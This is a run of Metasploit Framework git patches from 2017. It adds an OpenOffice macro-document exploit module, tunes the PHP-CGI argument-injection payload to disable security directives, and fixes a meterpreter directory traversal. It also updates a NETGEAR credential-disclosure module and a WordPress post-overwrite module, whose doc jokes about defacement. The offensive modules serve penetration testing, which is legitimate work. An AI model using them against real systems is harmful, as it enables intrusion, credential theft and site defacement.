HcmV?d00001 diff --git a/data/exploits/openoffice_document_macro/content.xml b/data/exploits/openoffice_document_macro/content.xml new file mode 100644 index 0000000000..de35e46bf0 --- /dev/null +++ b/data/exploits/openoffice_document_macro/content.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/manifest.rdf b/data/exploits/openoffice_document_macro/manifest.rdf new file mode 100644 index 0000000000..927e206bb2 --- /dev/null +++ b/data/exploits/openoffice_document_macro/manifest.rdf @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/openoffice_document_macro/meta.xml b/data/exploits/openoffice_document_macro/meta.xml new file mode 100644 index 0000000000..6ba6c515ed --- /dev/null +++ b/data/exploits/openoffice_document_macro/meta.xml @@ -0,0 +1,2 @@ + +sinn3r 2017-02-06T15:15:47.352017-02-06T15:21:59.64sinn3r PT4M16S2OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783 \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/mimetype b/data/exploits/openoffice_document_macro/mimetype new file mode 100644 index 0000000000..2e95b81c92 --- /dev/null +++ b/data/exploits/openoffice_document_macro/mimetype @@ -0,0 +1 @@ +application/vnd.oasis.opendocument.text \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/settings.xml b/data/exploits/openoffice_document_macro/settings.xml new file mode 100644 index 0000000000..207a6afe30 --- /dev/null +++ b/data/exploits/openoffice_document_macro/settings.xml @@ -0,0 +1,2 @@ + +003138110532truefalseview26895300200313801053000false100falsefalsetruefalsetruefalsefalsetrue0falsetruefalsefalsefalsetruetruefalsetruefalse1falsetruetruefalsetruefalsetruefalsefalsefalsefalse0truefalsefalsefalsefalsetruetruetruefalsefalsefalsetruefalsefalsetruefalsefalsehigh-resolutionfalse0truetruefalsetruefalse \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/styles.xml b/data/exploits/openoffice_document_macro/styles.xml new file mode 100644 index 0000000000..bcdf3b8430 --- /dev/null +++ b/data/exploits/openoffice_document_macro/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/openoffice_document_macro.rb b/modules/exploits/multi/fileformat/openoffice_document_macro.rb new file mode 100644 index 0000000000..57399dbee6 --- /dev/null +++ b/modules/exploits/multi/fileformat/openoffice_document_macro.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + WINDOWSGUI = 'windows' + OSXGUI = 'osx' + LINUXGUI = 'linux' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", + 'Description' => %q{ + This module generates an Apache OpenOffice Text Document with a malicious macro in it. + For exploit successfully, the targeted user must adjust the security level in Macro + Security to either Medium or Low. If set to Medium, a prompt is presented to the user + to enable or disable the macro. If set to Low, the macro can automatically run without + any warning. + + The module also works against LibreOffice. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Apache OpenOffice', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2017", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) + ], self.class) + end + + + def macro_code + %Q| + function GetOS() as string + select case getGUIType + case 1: + GetOS = "#{WINDOWSGUI}" + case 3: + GetOS = "#{OSXGUI}" + case 4: + GetOS = "#{LINUXGUI}" + case + end select + end function + | + end + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /content\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /Module1\.xml/ + buf.gsub!(/CODEGOESHERE/, macro_code) + end + + yield short_fname, buf + end + + + def package_odt(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our odt file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end From 96f7b2e245af926e7480334ef122a0338ec006fc Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 7 Feb 2017 18:36:36 +0100 Subject: [PATCH 113/426] http_version now store the fngerprints Currently, the `http_version` module doesn't store the fingerprints into the database; this commit should fix this behaviour. --- modules/auxiliary/scanner/http/http_version.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 2482947127..fdb3426468 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp + report_service(:host => rhost, :port => rport, :sname => "www", :info => fp) rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect From cb03ca91e1ca24ee3f464c4abe370b3c3fe08d15 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 7 Feb 2017 18:59:27 +0100 Subject: [PATCH 114/426] Make php_cgi_arg_injection work in certain environnement This commit sets two more options to `0` in the payload: - [cgi.force_redirect](https://secure.php.net/manual/en/ini.core.php#ini.cgi.force-redirect) - [cgi.redirect_status_env](https://secure.php.net/manual/en/ini.core.php#ini.cgi.redirect-status-env) The configuration directive `cgi.force_redirect` prevents anyone from calling PHP directly with a URL like http://my.host/cgi-bin/php/secretdir/script.php. Instead, PHP will only parse in this mode if it has gone through a web server redirect rule. The string set in the configuration directive `cgi.redirect_status_env` is the one that PHP will look for to know it's ok to continue its execution. This might be use together with the previous configuration option as a security measure. Setting those variables to 0 is (as stated in the documentation) a security issue, but it also make the exploit work on some Apache2 setup. --- modules/exploits/multi/http/php_cgi_arg_injection.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index a5d142906b..3def77601a 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -114,6 +114,8 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d",'disable_functions=""'), create_arg("-d","open_basedir=none"), create_arg("-d","auto_prepend_file=php://input"), + create_arg("-d", "cgi.force_redirect=0"), + create_arg("-d", "cgi.redirect_status_env=0"), rand_opt_equiv("-n") ] From b370dd0654c521297855e674283b54e1fcb95ab8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 7 Feb 2017 18:24:06 -0600 Subject: [PATCH 115/426] Fix CVE-2017-5229 - extapi Clipboard.parse_dump() Directory Traversal --- .../command_dispatcher/extapi/clipboard.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 9c4b3ce920..0ac66c3eb3 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -373,6 +373,14 @@ private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source ) + + # Basename ends up with a single name/folder. This is the only point where it + # may be possible to do a dir trav up one folder. We need to check to make sure + # that the basename doesn't result in a traversal + if base == '..' + return false + end + dest = File.join( dest_folder, base ) if stat.directory? @@ -386,6 +394,8 @@ private client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end + + return true end def parse_dump(dump, get_images, get_files, download_path) @@ -406,15 +416,15 @@ private print_line(v) when 'Files' - total = 0 v.each do |f| print_line("Remote Path : #{f[:name]}") print_line("File size : #{f[:size]} bytes") if get_files - download_file( loot_dir, f[:name] ) + unless download_file( loot_dir, f[:name] ) + print_error("Download of #{f:name]} failed.") + end end print_line - total += f[:size] end when 'Image' From 6f4ff892180c5e173844a8d7fdc3d7adf8b278c3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 7 Feb 2017 18:33:58 -0600 Subject: [PATCH 116/426] Add WPVDB reference --- .../scanner/http/wordpress_content_injection.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 809c2da134..1ed4143034 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -20,10 +20,11 @@ class MetasploitModule < Msf::Auxiliary 'wvu' # Metasploit module ], 'References' => [ - ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], - ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], - ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], - ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] + ['WPVDB', '8734'], + ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], + ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], + ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], + ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] ], 'DisclosureDate' => 'Feb 1 2017', 'License' => MSF_LICENSE, From 68a5d300fe605a792fc3cd738684881acf9c5238 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 7 Feb 2017 18:35:35 -0600 Subject: [PATCH 117/426] minor style issues --- .../ui/console/command_dispatcher/extapi/clipboard.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 0ac66c3eb3..cc8368494e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -377,9 +377,7 @@ private # Basename ends up with a single name/folder. This is the only point where it # may be possible to do a dir trav up one folder. We need to check to make sure # that the basename doesn't result in a traversal - if base == '..' - return false - end + return false if base == '..' dest = File.join( dest_folder, base ) @@ -420,7 +418,7 @@ private print_line("Remote Path : #{f[:name]}") print_line("File size : #{f[:size]} bytes") if get_files - unless download_file( loot_dir, f[:name] ) + unless download_file(loot_dir, f[:name]) print_error("Download of #{f:name]} failed.") end end From 2d1989ef16f92bded6b4efa133a7393cb6e47939 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 7 Feb 2017 19:17:44 -0600 Subject: [PATCH 118/426] bump rex-core, fix path normalization Brings in fixes from https://github.com/rapid7/rex-core/pull/4 --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index e06496345f..d8f1440876 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -244,7 +244,7 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.6) + rex-core (0.1.7) rex-encoder (0.1.2) metasm rex-arch From d81bdc1c023c02d9d6cd7ba49c593d70cd454481 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 7 Feb 2017 17:27:47 -0800 Subject: [PATCH 119/426] Bump version of framework to 4.13.21 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d8f1440876..4fcf1d37d3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.20) + metasploit-framework (4.13.21) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 291011f44d..c0234512ee 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.20" + VERSION = "4.13.21" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 46fbc9dd3f38c7a6ce717f69a2ecd147fc900b24 Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 7 Feb 2017 21:32:19 -0500 Subject: [PATCH 120/426] Fix some formatting --- modules/auxiliary/gather/netgear_password_disclosure.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 59e3c21cf1..b097bee8d8 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary r = send_request_cgi({ 'uri' => "/passwordrecovered.cgi", 'vars_get' => { 'id' => token } - }) + }) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") @@ -106,8 +106,8 @@ class MetasploitModule < Msf::Auxiliary end end - #Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response - #This checks the response dor that header. + # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response + # This checks the response for that header. def check res = send_request_cgi({'uri'=>'/'}) From c16b7e42a6def0b4e2e27b23fb8a9a5cce378511 Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 7 Feb 2017 21:41:38 -0500 Subject: [PATCH 121/426] Fix review stuff --- .../gather/netgear_password_disclosure.rb | 46 +++++++++---------- 1 file changed, 21 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index b097bee8d8..bc0a11ceb1 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -68,7 +68,6 @@ class MetasploitModule < Msf::Auxiliary marker_one = "id=" marker_two = "\"" token = scrape(res.to_s, marker_one, marker_two) - if token.nil? print_error("#{rhost} is not vulnerable: Token not found") return @@ -92,17 +91,19 @@ class MetasploitModule < Msf::Auxiliary username = scrape(raw_html, "Router Admin Username", "Router Admin Password") password = scrape(raw_html, "Router Admin Password", "You can") - username = username.strip! - password = password.strip! - - if username == "" || password == "" - print_error("No Creds found") - else - print_good("Creds found: #{username}/#{password}") - end + if username.nil? || password.nil? + return Exploit::CheckCode::Safe + else + username = username.strip! + password = password.strip! + end + if username == "" || password == "" + print_error("No Creds found") + else + print_good("Creds found: #{username}/#{password}") + end else print_error("#{rhost} is not vulnerable: Not a NETGEAR device") - return end end @@ -115,22 +116,17 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::Unreachable, 'Connection timed out.') end - if res.nil? - print_error("#{rhost} returned an empty response") - return + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"" + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + print_good("Router is a NETGEAR router (#{model})") + return Exploit::CheckCode::Detected else - # Checks for the `WWW-Authenticate` header in the response - if res.headers["WWW-Authenticate"] - data = res.to_s - marker_one = "Basic realm=\"" - marker_two = "\"" - model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] - print_good("Router is a NETGEAR router (#{model})") - return Exploit::CheckCode::Detected - else - print_error('Router is not a NETGEAR router') - return Exploit::CheckCode::Safe - end + print_error('Router is not a NETGEAR router') + return Exploit::CheckCode::Safe end end end From 13f4b0d7ae487f689d68ebe2b0fe14a2504ba589 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 02:14:28 -0600 Subject: [PATCH 122/426] Be more specific with invalid post ID --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 1ed4143034..94273de93a 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -117,9 +117,11 @@ class MetasploitModule < Msf::Auxiliary post_url = full_uri(wordpress_url_post(post[:id])) if res && res.code == 200 - print_good("SUCCESS: #{post_url}") + print_good("SUCCESS: #{post_url} (post updated)") + elsif res && res.code == 404 + print_error("FAILURE: #{post_url} (invalid post ID)") else - print_error("FAILURE: #{post_url}") + print_error("FAILURE: #{post_url} (unknown error)") end end end From 028d4d607790152a04889c750516bba5d2493308 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Wed, 8 Feb 2017 09:59:22 +0100 Subject: [PATCH 123/426] Make the payload a bit more random --- modules/exploits/multi/http/php_cgi_arg_injection.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 3def77601a..b2d70a3c29 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d",'disable_functions=""'), create_arg("-d","open_basedir=none"), create_arg("-d","auto_prepend_file=php://input"), - create_arg("-d", "cgi.force_redirect=0"), + create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"), create_arg("-d", "cgi.redirect_status_env=0"), rand_opt_equiv("-n") ] From f3bcc9f23fac0bc526d3ccac370d34e82a5ffdf1 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Wed, 8 Feb 2017 09:59:36 +0100 Subject: [PATCH 124/426] Take care of suhosin --- modules/exploits/multi/http/php_cgi_arg_injection.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index b2d70a3c29..4fabf1b337 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -116,6 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d","auto_prepend_file=php://input"), create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"), create_arg("-d", "cgi.redirect_status_env=0"), + create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"), rand_opt_equiv("-n") ] From e480107bd5d33decf33f4b127e895838b5304f14 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 03:51:12 -0600 Subject: [PATCH 125/426] Add PostCount (default 100) to list more posts --- .../scanner/http/wordpress_content_injection.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 94273de93a..50c7df3a20 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -41,6 +41,10 @@ class MetasploitModule < Msf::Auxiliary OptString.new('POST_CONTENT', [false, 'Post content']), OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)']) ]) + + register_advanced_options([ + OptInt.new('PostCount', [false, 'Number of posts to list', 100]) + ]) end def check_host(_ip) @@ -130,8 +134,11 @@ class MetasploitModule < Msf::Auxiliary posts = [] res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(get_rest_api, 'posts') + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts'), + 'vars_get' => { + 'per_page' => datastore['PostCount'] + } }, 3.5) if res && res.code == 200 From 7583d050b71773458809bca3c54ec7d99fb653b9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 03:56:08 -0600 Subject: [PATCH 126/426] Add AutoPublish to publish updated posts --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 50c7df3a20..c94adde350 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -43,7 +43,8 @@ class MetasploitModule < Msf::Auxiliary ]) register_advanced_options([ - OptInt.new('PostCount', [false, 'Number of posts to list', 100]) + OptInt.new('PostCount', [false, 'Number of posts to list', 100]), + OptBool.new('AutoPublish', [false, 'Publish updated posts', true]) ]) end @@ -115,7 +116,8 @@ class MetasploitModule < Msf::Auxiliary res = update_post(post[:id], title: datastore['POST_TITLE'], content: datastore['POST_CONTENT'], - password: datastore['POST_PASSWORD'] + password: datastore['POST_PASSWORD'], + status: datastore['AutoPublish'] ? 'publish' : nil ) post_url = full_uri(wordpress_url_post(post[:id])) @@ -162,6 +164,7 @@ class MetasploitModule < Msf::Auxiliary payload[:title] = opts[:title] if opts[:title] payload[:content] = opts[:content] if opts[:content] payload[:password] = opts[:password] if opts[:password] + payload[:status] = opts[:status] if opts[:status] send_request_cgi({ 'method' => 'POST', From 6df55c9733268ccd387686ba347aa315a05e4f1a Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 04:31:06 -0600 Subject: [PATCH 127/426] Gotta catch 'em (post statuses) all --- .../http/wordpress_content_injection.rb | 43 ++++++++++++------- 1 file changed, 27 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index c94adde350..375ba05e22 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -83,14 +83,21 @@ class MetasploitModule < Msf::Auxiliary tbl = Rex::Text::Table.new( 'Header' => full_uri, - 'Columns' => ['ID', 'Title', 'URL', 'Password'] + 'Columns' => %w{ID Title URL Status Password} ) posts_to_list.each do |post| + if post[:status] == 'publish' + status = 'Published' + else + status = post[:status].capitalize + end + tbl << [ post[:id], Rex::Text.html_decode(post[:title]), post[:url], + status, post[:password] ? 'Yes' : 'No' ] end @@ -135,22 +142,26 @@ class MetasploitModule < Msf::Auxiliary def list_posts posts = [] - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(get_rest_api, 'posts'), - 'vars_get' => { - 'per_page' => datastore['PostCount'] - } - }, 3.5) - - if res && res.code == 200 - res.get_json_document.each do |post| - posts << { - id: post['id'], - title: post['title']['rendered'], - url: post['link'], - password: post['content']['protected'] + %w{publish future draft pending private}.each do |status| + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts'), + 'vars_get' => { + 'status' => status, + 'per_page' => datastore['PostCount'] } + }, 3.5) + + if res && res.code == 200 + res.get_json_document.each do |post| + posts << { + id: post['id'], + title: post['title']['rendered'], + url: post['link'], + status: status, + password: post['content']['protected'] + } + end end end From 064420075fd51327dec8e6d8297d44dbce26e7b4 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 04:54:25 -0600 Subject: [PATCH 128/426] Update diagnostics and print better header --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 375ba05e22..f500fe8646 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary end tbl = Rex::Text::Table.new( - 'Header' => full_uri, + 'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})", 'Columns' => %w{ID Title URL Status Password} ) @@ -208,10 +208,10 @@ class MetasploitModule < Msf::Auxiliary if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$} rest_api = route_rest_api($1) - vprint_status("REST API (Link header): #{rest_api}") + vprint_status('REST API found in Link header') elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href')) rest_api = route_rest_api(xpath) - vprint_status("REST API (HTML document): #{rest_api}") + vprint_status('REST API found in HTML document') end rest_api From 8493a734cbc6a473b14bd2fb05ae65a1dc758dca Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 05:29:57 -0600 Subject: [PATCH 129/426] Add module doc to appease the @h00die god Straight rip of the PR description, yo. --- .../http/wordpress_content_injection.rb | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb new file mode 100644 index 0000000000..0be0c20a47 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -0,0 +1,37 @@ +**Feature description:** + +This adds a module for the WordPress 4.7/4.7.1 +content injection vulnerability detailed at +https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html. + +**Verification steps:** + +- [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz +- [ ] `tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner` +- [ ] Ensure the install dir is not writable by the web user (prevents autoupdating) +- [ ] Install the sucker +- [ ] Set `ACTION` to either `LIST` or `UPDATE` +- [ ] Set `POST_ID` and `POST_TITLE`, `POST_CONTENT`, and/or `POST_PASSWORD` +- [ ] Run the module +- [ ] ~~Add your defacement to Zone-H~~ jk + +**Sample run:** + +This is just the `LIST` action... + +``` +msf auxiliary(wordpress_content_injection) > run + +[*] REST API found in HTML document +Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2) +============================================================ + +ID Title URL Status Password +-- ----- --- ------ -------- +1 Hello world! https://[redacted]/2016/10/hello-world/ Published No +87 Hello world! https://[redacted]/2016/08/hello-world-2/ Published No + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(wordpress_content_injection) > +``` From 46ab03f528925a9e42961870d7e93bbb9bfa7252 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 06:09:44 -0600 Subject: [PATCH 130/426] Add SearchTerm to filter listed posts --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index f500fe8646..12e36ac69a 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -43,8 +43,9 @@ class MetasploitModule < Msf::Auxiliary ]) register_advanced_options([ - OptInt.new('PostCount', [false, 'Number of posts to list', 100]), - OptBool.new('AutoPublish', [false, 'Publish updated posts', true]) + OptInt.new('PostCount', [false, 'Number of posts to list', 100]), + OptString.new('SearchTerm', [false, 'Search term when listing posts']), + OptBool.new('AutoPublish', [false, 'Publish updated posts', true]) ]) end @@ -148,7 +149,8 @@ class MetasploitModule < Msf::Auxiliary 'uri' => normalize_uri(get_rest_api, 'posts'), 'vars_get' => { 'status' => status, - 'per_page' => datastore['PostCount'] + 'per_page' => datastore['PostCount'], + 'search' => datastore['SearchTerm'] } }, 3.5) From 3fdd3d36516549eb498662c64ca31d38a46ee239 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 06:21:43 -0600 Subject: [PATCH 131/426] Move .rb module doc to .md I'm tired. --- ...dpress_content_injection.rb => wordpress_content_injection.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/auxiliary/scanner/http/{wordpress_content_injection.rb => wordpress_content_injection.md} (100%) diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md similarity index 100% rename from documentation/modules/auxiliary/scanner/http/wordpress_content_injection.rb rename to documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md From befe224c58a3e898e6fbd157843d8122c09d0b06 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 07:24:57 -0600 Subject: [PATCH 132/426] Use wordpress_and_online? before actions --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 12e36ac69a..f993003606 100644 --- 